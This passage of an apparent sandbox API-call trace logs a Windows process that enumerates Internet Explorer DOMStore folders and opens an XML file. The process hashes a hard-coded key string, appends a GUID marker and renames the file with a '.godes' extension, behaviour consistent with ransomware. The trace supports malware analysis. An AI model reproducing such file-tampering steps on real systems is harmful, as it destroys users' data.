[0115.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0115.637] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.637] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.637] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.637] PathFindFileNameW (pszPath="") returned="" [0115.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.637] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.637] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.637] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251a80 | out: hHeap=0x660000) returned 1 [0115.637] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251a80 [0115.637] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.641] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="VGMTOI09\\" [0115.641] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0115.641] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0115.641] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0115.641] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.641] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.641] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.641] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.641] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.641] PathFindFileNameW (pszPath="") returned="" [0115.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.642] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.642] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0115.642] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0115.642] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.643] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=836) returned 1 [0115.643] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.644] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.645] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.646] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x344, lpOverlapped=0x0) returned 1 [0115.646] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.646] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.646] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.646] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741048) returned 1 [0115.647] CryptCreateHash (in: hProv=0x741048, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.647] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.647] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.647] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.647] GetLastError () returned 0x0 [0115.647] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.647] CryptReleaseContext (hProv=0x741048, dwFlags=0x0) returned 1 [0115.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.647] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.647] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.647] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.648] CloseHandle (hObject=0x624) returned 1 [0115.648] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.godes")) returned 1 [0115.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.649] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32419d0 | out: hHeap=0x660000) returned 1 [0115.650] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0 [0115.650] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251a80 | out: hHeap=0x660000) returned 1 [0115.650] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0115.650] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.651] 